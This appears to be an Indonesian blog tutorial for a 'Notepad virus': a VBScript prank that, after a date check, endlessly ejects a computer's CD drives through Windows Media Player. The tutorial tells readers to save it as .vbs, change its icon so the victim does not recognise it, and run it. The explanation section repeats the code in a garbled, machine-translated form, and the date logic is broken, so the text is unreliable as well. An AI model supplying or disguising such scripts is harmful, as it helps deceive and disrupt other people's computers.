Virus Notepad CD Drive - Mari belajar yuk

WELCOME TO VIRUS NOTEPAD CD DRIVE

1.      Buka Notepad pada komputer anda

1.      Copy paste script dibawah ini pada notepad anda

Dim myDateString 
Dim thing1 
thing1 = 0 
myDateString = Date() 
If myDateString < "02/04/10" Then 
thing1 = 1 
end if 
if thing1 = 1 then  
If myDateString > "31/04/10" Then 
    thing1 = 2 
end if 
end if 
 
if thing1 = 2 then 
do  
Set oWMP = CreateObject("WMPlayer.OCX.7" )  
Set colCDROMs = oWMP.cdromCollection  
 
if colCDROMs.Count >= 1 then  
For i = 0 to colCDROMs.Count - 1  
colCDROMs.Item(i).Eject  
Next ' cdrom  
End If  
 
loop 
Else     
    wscript.quit 1 
End If

1.      Copy paste script dibawah ini pada notepad anda

1.      Simpan dengan format .vbs seperti gambar dibawah ini

1.      Selesai

2.      Ganti icon jika virus ini tidak diketahui oleh korban

3.      Jalankan virus tersebut

PENJELASAN MENGENAI VIRUS TERSEBUT

End If

wscript.sleep 5000

loop

Sekarang saya akan menjelaskannya:

Dim myDateString

Dim hal1

Ini menetapkan dua variabel yang dapat kita gunakan nanti dalam kode.

hal1 = 0

myDateString = Tanggal ()

Ini menetapkan variabel. thing1 adalah nilai numerik, tapi myDateString berisi tanggal pembuatannya.

Jika myDateString <"02/04/10"

hal1 = 1

berakhir jika

jika hal1 = 1 maka

Jika myDateString> "31/04/10" Lalu

     hal1 = 2

Ini mendeteksi apakah itu April Fool atau tidak, dan kemudian menetapkan hal yang sesuai.

jika hal1 = 2 lalu

melakukan

Setel oWMP = CreateObject ("WMPlayer.OCX.7")

Atur colCDROMs = oWMP.cdromCollection

jika colCDROMs.Count> = 1 maka

Untuk i = 0 ke colCDROMs.Count - 1

colCDROMs.Item (i) .Eject

Berikutnya 'cdrom

Berakhir jika

loop

Ini benar-benar membuka dan menutup. IT memanggil fungsi media player windows untuk membuka drive, lalu mengulanginya.

Lain

     wscript.quit 1

Ini dijalankan jika bukan April Fool's, dan tutup file tersebut.

NOTE : Jangan coba coba menjalankan pada komputer anda.